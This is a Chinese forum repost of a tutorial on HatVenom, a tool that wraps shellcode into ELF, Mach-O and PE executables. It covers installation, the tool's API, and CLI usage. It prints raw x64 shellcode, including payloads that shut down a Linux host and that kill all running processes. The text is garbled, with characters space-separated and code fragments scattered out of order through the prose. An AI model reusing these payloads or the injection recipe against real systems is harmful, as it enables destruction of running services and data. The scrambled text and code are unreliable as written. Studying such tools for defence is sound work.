搜索

[17117] 2021-08-06_使用HatVenom生成强大的原生Payload并实现Shellcode注入

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2021-08-06_使用HatVenom生成强大的原生Payload并实现Shellcode注入 使 用 H a t V e n o m 生 成 强 大 的 原 生 P a y l o a d 并 实 现 S h e l l c o d e 注 入 A l p h a _ h 4 c k   F r e e B u f   2 0 2 1 - 0 8 - 0 6 H a t V e n o m 是 一 款 功 能 强 大 的 本 地 P a y l o a d 生 成 和 S h e l l c o d e 注 入 工 具 ， 可 以 帮 助 广 大 研 究 人 员 针 对 多 种 常 见 操 作 系 统 平 台 或 架 构 进 行 渗 透 测 试 研 究 。 功 能 介 绍 功 能 介 绍 支 持 大 多 数 常 见 的 可 执 行 格 式 ， 例 如 e l f 、 m a c h o 、 p e 等 。 支 持 大 多 数 常 见 的 平 台 架 构 ， 例 如 x 6 4 、 x 8 6 、 a a r c h 6 4 、 a r m l e 、 m i p s l e 、 m i p s b e 等 。 能 够 通 过 修 改 预 定 义 偏 移 量 来 修 改 S h e l l c o d e 。 工 具 安 装 工 具 安 装 由 于 H a t V e n o m 使 用 P y t h o n 3 开 发 ， 因 此 首 先 需 要 在 本 地 设 备 上 安 装 并 配 置 好 P y t h o n 3 环 境 。 接 下 来 ， 广 大 研 究 人 员 可 以 使 用 下 列 命 令 下 载 并 安 装 H a t V e n o m ： 基 础 函 数 基 础 函 数 下 面 给 出 的 是 H a t V e n o m 所 有 的 基 础 函 数 ， 可 以 用 于 生 成 P y a l o a d 、 转 换 数 据 或 注 入 S h e l l c o d e ： i p _ b y t e s ( i p ) ： 将 I P 地 址 转 换 为 S h e l l c o d e 所 支 持 的 字 节 数 据 ； p o r t _ b y t e s ( p o r t ) ： 将 数 字 端 口 号 转 换 为 S h e l l c o d e 所 支 持 的 字 节 数 据 ； s t r i n g _ b y t e s ( s t r i n g ) ： 将 字 符 串 转 换 为 S h e l l c o d e 所 支 持 的 字 节 数 据 ； g e n e r a t e ( f i l e _ f o r m a t ,   a r c h ,   s h e l l c o d e ,   o f f s e t s = { } ) ： 针 对 指 定 的 目 标 设 备 生 成 P a y l o a d 和 S h e l l c o d e ； g e n e r a t e _ t o ( f i l e _ f o r m a t ,   a r c h ,   s h e l l c o d e ,   o f f s e t s = { } ,   f i l e n a m e = ’ a . o u t ’ ) ： 针 对 指 定 的 目 标 设 备 生 成 P a y l o a d 和 S h e l l c o d e ， 并 存 储 至 一 个 指 定 的 文 件 中 ； 生 成 生 成 P a y l o a d 在 H a t V e n o m 的 帮 助 下 ， 我 们 可 以 轻 松 针 对 不 同 的 目 标 设 备 快 速 生 成 P a y l o a d 。 比 如 说 ， 我 们 针 对 L i n u x 生 成 一 个 简 单 的 名 为 “ s h u t d o w n ” 的 P a y l o a d ， 并 将 其 存 储 至 “ a . o u t ” 文 件 中 ： p i p 3   i n s t a l l   g i t + h t t p s : / / g i t h u b . c o m / E n t y S e c / H a t V e n o m f r o m   h a t v e n o m   i m p o r t   H a t V e n o m s h e l l c o d e   =   (         b " x 4 8 x 3 1 x c 0 x 4 8 x 3 1 x d 2 x 5 0 x 6 a "         b " x 7 7 x 6 6 x 6 8 x 6 e x 6 f x 4 8 x 8 9 x e 3 "
P a y l o a d 偏 移 量 偏 移 量 P a y l o a d 偏 移 量 是 一 个 变 量 ， 可 以 用 于 在 预 处 理 阶 段 向 s h e l c o d e 添 加 内 容 。 偏 移 量 样 例 如 下 ： 其 中 的 “ m e s s a g e ” 即 为 偏 移 量 名 称 ， “ s t r i n g ” 为 偏 移 量 类 型 。 因 此 ， 偏 移 量 的 基 本 使 用 方 式 如 下 ： 下 面 给 出 的 是 几 种 偏 移 量 类 型 ： 下 面 给 出 的 是 几 种 偏 移 量 类 型 ： s t r i n g ： 在 预 处 理 阶 段 需 要 转 换 为 字 节 数 据 的 明 文 内 容 ； i p ： 在 预 处 理 阶 段 需 要 转 换 为 字 节 数 据 的 I P 地 址 ； p o r t ： 在 预 处 理 阶 段 需 要 转 换 为 字 节 数 据 的 数 字 端 口 号 ； 因 此 ， 如 果 你 想 要 替 换 其 中 的 字 节 数 据 ， 而 不 是 s t r i n g 、 i p 或 p o r t 的 话 ， 可 以 使 用 下 列 命 令 形 式 ： 接 下 来 ， 我 们 生 成 一 个 简 单 的 P a y l o a d ， 它 将 执 行 偏 移 量 文 件 “ f i l e ” （ 针 对 m a c O S ） 并 存 储 至 “ a . o u t ” 中 ：         b " x 5 0 x 6 6 x 6 8 x 2 d x 6 8 x 4 8 x 8 9 x e 1 "         b " x 5 0 x 4 9 x b 8 x 2 f x 7 3 x 6 2 x 6 9 x 6 e "         b " x 2 f x 2 f x 2 f x 4 9 x b a x 7 3 x 6 8 x 7 5 "         b " x 7 4 x 6 4 x 6 f x 7 7 x 6 e x 4 1 x 5 2 x 4 1 "         b " x 5 0 x 4 8 x 8 9 x e 7 x 5 2 x 5 3 x 5 1 x 5 7 "         b " x 4 8 x 8 9 x e 6 x 4 8 x 8 3 x c 0 x 3 b x 0 f "         b " x 0 5 " ) h a t v e n o m   =   H a t V e n o m ( ) h a t v e n o m . g e n e r a t e _ t o ( ' e l f ' ,   ' x 6 4 ' ,   s h e l l c o d e ) x 9 0 x 9 0 x 9 0 x 9 0 : m e s s a g e : s t r i n g : x 9 0 x 9 0 x 9 0 x 9 0 [ s h e l l c o d e ] : [ n a m e ] : [ t y p e ] : [ s h e l l c o d e ] [ s h e l l c o d e ] : [ n a m e ] : [ s h e l l c o d e ] f r o m   h a t v e n o m   i m p o r t   H a t V e n o m s h e l l c o d e   =   (         b " x 4 8 x 3 1 x f 6 x 5 6 x 4 8 x b f "
H a t V e n o m 命 令 行 接 口 命 令 行 接 口 H a t V e n o m 也 提 供 了 自 己 的 命 令 行 接 口 ， 可 以 通 过 执 行 命 令 “ h a t v e n o m ” 来 调 用 ：         b " : f i l e : s t r i n g : "         b " x 5 7 x 4 8 x 8 9 x e 7 x 4 8 x 3 1 "         b " x d 2 x 4 8 x 3 1 x c 0 x b 0 x 0 2 "         b " x 4 8 x c 1 x c 8 x 2 8 x b 0 x 3 b "         b " x 0 f x 0 5 " ) h a t v e n o m   =   H a t V e n o m ( ) h a t v e n o m . g e n e r a t e _ t o ( ' m a c h o ' ,   ' x 6 4 ' ,   s h e l l c o d e ,   { ' f i l e ' : ' / / b i n / p s ' } ) u s a g e :   h a t v e n o m   [ - h ]   [ - - f o r m a t   F O R M A T ]   [ - - a r c h   A R C H ]   [ - - s h e l l c o d e   S H E L L C O D E ]                                 [ - - o f f s e t s   O F F S E T S ]   [ - o   O U T P U T ]   [ - l ] P o w e r f u l   p a y l o a d   g e n e r a t i o n   a n d   s h e l l c o d e   i n j e c t i o n   t o o l   t h a t   p r o v i d e s   s u p p o r t f o r   c o m m o n   p l a t f o r m s   a n d   a r c h i t e c t u r e s . o p t i o n a l   a r g u m e n t s :     - h ,   - - h e l p                         显 示 这 个 帮 助 信 息 并 退 出     - - f o r m a t   F O R M A T             针 对 的 目 标 平 台     - - a r c h   A R C H                       针 对 的 目 标 架 构     - - s h e l l c o d e   S H E L L C O D E                                                 待 注 入 的 S h e l l c o d e     - - o f f s e t s   O F F S E T S                 S h e l l c o d e 偏 移 量     - o   O U T P U T ,   - - o u t p u t   O U T P U T
使 用 样 例 使 用 样 例 我 们 可 以 生 成 一 个 针 对 L i n u x 的 简 单 P a y l o a d ， 该 P a y l o a d 将 会 终 止 目 标 L i n u x 系 统 上 所 有 进 程 的 运 行 ， 并 将 其 存 储 至 “ a . o u t ” 中 ： 项 目 地 址 项 目 地 址 H a t V e n o m ： ： 【 点 击 文 末 阅 读 原 文 】 精 彩 推 荐 精 彩 推 荐                                                 用 于 存 储 生 成 P a y l o a d 的 文 件     - l ,   - - l i s t                                 列 出 所 有 的 格 式 和 平 台 h a t v e n o m   - - f o r m a t   e l f   - - a r c h   x 6 4   - - s h e l l c o d e   " x 6 a x 3 e x 5 8 x 6 a x f f x 5 f x 6 a x 0 9 x 5 e x 0 f x 0 5 "
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理